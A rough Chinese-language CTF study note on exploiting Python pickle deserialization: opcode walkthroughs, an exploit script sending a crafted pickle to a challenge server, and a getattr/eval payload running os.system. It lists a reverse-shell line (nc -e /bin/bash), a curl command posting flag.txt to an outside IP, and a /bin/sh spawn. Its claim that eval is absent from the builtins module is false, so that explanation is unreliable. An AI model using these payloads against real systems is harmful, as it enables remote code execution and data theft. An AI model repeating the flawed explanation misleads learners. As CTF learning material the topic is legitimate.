python反序列化+沙箱逃逸++js+redis

草文,发上来挂着

python反序列化

Python反序列化漏洞与沙箱逃逸 - 个人学习分享

Python 反序列化浅析-腾讯云开发者社区-腾讯云

pickle反序列化

Python Pickle 序列化格式的协议 0/1/2(文本协议)
用guess_game这题的payload去分析py

前半部分:描述了一个简单的字典对象。后半部分看下边

cguess_game
game
}S'round_count'
I10
sS'win_count'
I10
sb

等同于

class game:
    def __init__(self):
        self.round_count = 10
        self.win_count = 10
​
# 示例字典形式:
obj = {
    'round_count': 10,
    'win_count': 10
}

# Pickle 可能表示的类实例
from guess_game import game
​
obj = game()
obj.round_count = 10
obj.win_count = 10
​
Opcode 含义
c GLOBAL:加载一个全局对象,通常是模块中的类或函数。
} DICT:表示一个字典对象的开始。
S STRING:表示一个字符串。
I INT:表示一个整数(在协议 0 中的整数表示方法)。
s SETITEM:结束当前字典条目,表示为键值对设置值(键值关系存入字典)。
b STOP:表示序列化流结束,这是序列化文件的最后一个操作符。
c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了)
}:push一个空的字典,相当于push {}
S: push一个字符串
I: push一个整型
s: 按照我的理解以及一些参考文章,pop两位 ,然后作为字典的key和value,这个跟pyc的代码是类似的。
b: 调用__setstate__ 或者 __dict__.update()
dict.update:更新对象的属性的

后半部分:描述了一个 Ticket 类的实例。!不需要手搓,直接dump出来就行

cguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.
部分 协议
cguess_game.Ticket\nTicket\n 通用(协议 0 和协议 1 均支持)。
q\x00 q\x01 q\x02 q\x03 协议 2MEMOIZE 操作码记录引用。
)\x81 协议 2NEWOBJ 操作码用于高效创建新对象。
X\x06\x00\x00\x00number 协议 1BINUNICODE 操作码表示字符串(协议 2 兼容协议 1 的操作码)。
K\xff`` | **协议 1**:BININT1` 操作码表示小整数(协议 2 兼容协议 1 的操作码)。
s b .``S"win_count" I10 s S"round_count" I9 s 协议 2 的 BUILD 操作码用于初始化对象,STOP 操作码表示流结束。

看不懂就去问GPT

exp↓

import pickle
import socket
import struct
​
s = socket.socket()
s.connect(('node2.buuoj.cn.wetolink.com', 28049))
​
exp = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.'''
​
s.send(struct.pack('>I', len(exp)))
s.send(exp)
​
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
picklecode分析exp
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.

前边部分

cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1

t:

  • 将之前的 dict'get' 打包成一个元组:(dict, 'get')

R:

  • 调用栈顶的函数(这里是 getattr),并使用栈中打包好的元组作为参数。

  • 等效于执行:

    getattr(dict, 'get')

(tR:压入空元组,形成globals()

S'builtins':将字符串 'builtins' 压入栈。

R:调用 getattr(globals(), 'builtins'),获取全局命名空间中的 builtins 模块。

p1:将栈顶的 builtins 模块保存到标识符 p1 中(pickle 的内部标记)。

这样可以在后续代码中通过引用 p1 来复用 builtins 模块。

接下来

getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.

g1 是之前序列化数据中定义的标识符,它引用的是全局命名空间对象(globals() 返回值)。

为什么不直接用 p1 来获取 eval

虽然 eval 是一个内置函数,但它并不直接存在于 builtins 模块中,而是暴露在全局命名空间中。需要通过 globals() 获取它。这是因为:

  1. 全局命名空间的优先级高于 builtins

    • 如果全局命名空间中存在与 builtins 中同名的对象(例如用户定义的 eval 函数),Python 会优先使用全局命名空间中的定义。

  2. eval 的定位

    • eval 被直接注册在全局命名空间中,因此更适合通过 globals() 获取。

  3. 灵活性

    • 攻击者使用 globals() 能更加灵活地访问所有全局变量,而不仅仅局限于 builtins 模块的内容。

协议4具体编码

  • \x80 PROTO(调用lload_proto)

  • \x04 根据四号协议序列化的字符串

  • \X95 FRAME 调用load_frame读取后边8个字符串,:\X00\X00\X00\X00\X00\X00\X00

  • \x8c SHORT_BINUNICODE (对应load_short_binunicode),函数内容读取下一位,压入栈中

  • \x94 MEMOIZE (load_memoize)

函数内容是将栈中-1对应元素赋值给memo[0],这里的话就是memo[0]=\x08__main,而memo等于{},那么这里就是{\x08__main}
  • \x93 load_stack_global

函数内容是将栈中元素取出一个,作为对象名,这里就是name=tttang,接下来再取出一个,作为类名,这里就是module=__main__,然后压入栈中

stack:[]
  • ),对应的是EMPTY_TUPLE,也就是向栈中加入空元组

  • \x81 对应函数是load_newobj,弹出()赋值给args

  • },往栈中压入空的字典

  • (,对应方法为load_mark,函数内容是将栈中元素压入到metastack中,然后将栈置空

  • u,对应函数为load_setitems,将栈赋值给items变量,然后将metastack中的弹出赋值给栈,所以这里的栈就变成了,{},这里的话就是取出__main__.tttang作为字典,接下来进行range遍历

弹shell/找flag
nc ip port -e /bin/bash

curl -d @flag.txt  ip:7777

__import__('os').system('/bin/sh')
找flag-------
du -ah / | grep flag         磁盘搜索

py反序列化做题

commands包需要py2,d盘有文件

  1. [CISCN2019 华北赛区 Day1 Web2]ikun

你可能感兴趣的:(python,学习,https)